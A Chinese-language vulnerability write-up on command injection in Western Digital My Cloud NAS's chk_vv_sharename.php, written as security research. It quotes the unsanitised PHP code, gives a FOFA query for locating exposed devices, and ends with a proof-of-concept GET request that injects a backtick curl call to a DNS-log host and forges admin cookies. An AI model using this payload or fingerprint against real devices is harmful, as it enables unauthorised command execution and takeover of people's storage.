漏洞简介
Western Digital My Cloud NAS是美国西部数据(Western Digital)公司的一款应用广泛的网络连接云存储设备,可用于托管文件,并自动备份和同步该文件与各种云和基于Web的服务。Western Digital My Cloud NAS chk_vv_sharename.php 接口文件未对用户传入参数进行校验,导致命令执行漏洞,攻击者可通过构造恶意请求写入webshell,获取服务器权限。
影响版本
<=2.11.153(老版本,已发布修复补丁)
fofa语法
icon_hash="-1074357885" && header="X-Powered-By: PHP/5.4.16"
漏洞分析
直接看 php\chk_vv_sharename.php 其业务实现逻辑如下
$vv_sharename = $_GET['vv_sharename'];
if(empty($_GET["vv_sharename"]))
{
echo 'Parameter vv_sharename is missing.';
return;
}
$cmd = "vvctl --check_share_name -s \"$vv_sharename\" >/dev/null";
system($cmd);
代码中通过 $_GET['vv_sharename'] 直接获取用户输入参数,未经过任何过滤或转义便拼接至系统命令 vvctl --check_share_name -s 中,攻击者可通过构造恶意参数注入任意系统命令。
漏洞复现
GET /web/php/chk_vv_sharename.php?vv_sharename=`curl+xx.dnslog.pt` HTTP/1.1
Host: western.digital.nas.mrxn.net
Cookie: username=admin; isAdmin=1
在DNSLOG平台成功收到请求


